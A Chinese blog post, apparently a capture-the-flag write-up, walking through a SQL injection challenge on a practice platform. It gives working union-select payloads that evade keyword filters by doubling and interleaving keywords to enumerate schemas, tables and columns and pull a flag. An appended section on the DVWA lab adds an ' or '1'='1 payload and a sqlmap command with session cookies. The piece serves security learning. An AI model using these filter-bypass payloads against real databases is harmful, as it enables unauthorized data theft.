简单的sql注入之一 (实验吧)

本文介绍了一种通过SQL注入攻击获取数据库信息的方法。具体包括利用多种技术绕过关键字过滤,例如大小写交替、双写关键字及交叉写法。并详细展示了如何使用这些技巧来查询数据库、数据表以及表中的字段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.判断注入类型

1' or '1' = '1 结果如下

测试几个简单的语句后, 1' order by 1 # , 1' select 1 #

根据报错信息 #  -- - order by select 等关键词都被过滤

关键词被过滤:解决方法如下

1大小写交替: Order SeLect 

2.双写  : OderOrder SelectSelect 

3.交叉: selecselectt  

注释符被过滤,解决方法如下:

1.用 '号闭合  ,如having , where

经过测试,发现可用双写绕过关键字过滤,但要注意双写后要加两空格

暴库语句如下:

1' union select schema_name from information_schema.schemata where '1' ='1

 

查询数据表语句如下:

1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schema='web1 

问题来了:这里报错了,错误如下

可以看到 (table_schema='web1) 等号前的table_chema被过滤了,按以上三种方法(双写,交叉,大小写)测试发现,交叉法可以绕过过滤;

新语句如下:

1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schemtable_schemaa='web1

发现flag,获取flag表的字段名

1' unionunion  selectselect  column_name  fromfrom  information_schema.columns wherewhere  table_name='flag

又有报错信息

比对后发现,from  infromation_schema.columns  被过滤了,老方法,用交叉写法可以绕过

还有 column_name也被过滤了:

1' unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.columninformation_schema.columnss wherewhere  table_name='flag

发现flag字段名,获取flag

1' unionunion  selectselect  flag fromfrom  flag wherewhere   '1' ='1

 

### 实验环境准备 为了进行DVWA SQL注入攻击实验,需先搭建好测试平台。确保已安装并配置了DVWA(Damn Vulnerable Web Application),并将安全级别设置为低以便于初次学习[^1]。 ```bash # 启动DVWA服务 service apache2 start ``` ### 测试SQL注入漏洞 当安全等级设为`Low`时,可直接输入恶意字符串进入ID参数框中提交请求。例如,在URL栏里修改`id`值为`' or '1'='1`,这将绕过正常的查询条件使所有记录都符合条件从而被显示出来[^4]。 对于更复杂的场景如`Medium`及以上难度,则可能需要用到自动化工具辅助分析。比如使用Sqlmap这款强大的开源渗透测试工具来探测以及利用SQL注入缺陷: ```python import os os.system(''' python sqlmap.py \ -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" \ -D dvwa --tables ''') ``` 上述命令指定了目标网址、会话Cookie,并告诉sqlmap去枚举指定数据库中的表格名称[^2]。 ### 构造有效载荷 了解如何构建特定的有效载荷是掌握SQL注入技术的关键部分之。考虑如下情况:假设存在简单的SELECT查询语句用于检索给定ID对应的数据条目;此时可以通过附加额外的逻辑表达式改变原有意图达到控制输出的目的。像这样的句话就可以实现这点:`select * from users where user_id = 1 OR 1=1 /*`[^3]。 ### 验证结果反馈机制 值得注意的是,不同应用对于异常状况有不同的处理方式——有的可能会抛出详细的错误提示帮助调试程序同时也暴露了内部结构信息;而另些则仅给出模糊的消息或者根本没有回应。因此,在实际操作过程中要善于观察页面变化规律以推测背后发生的交互过程。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值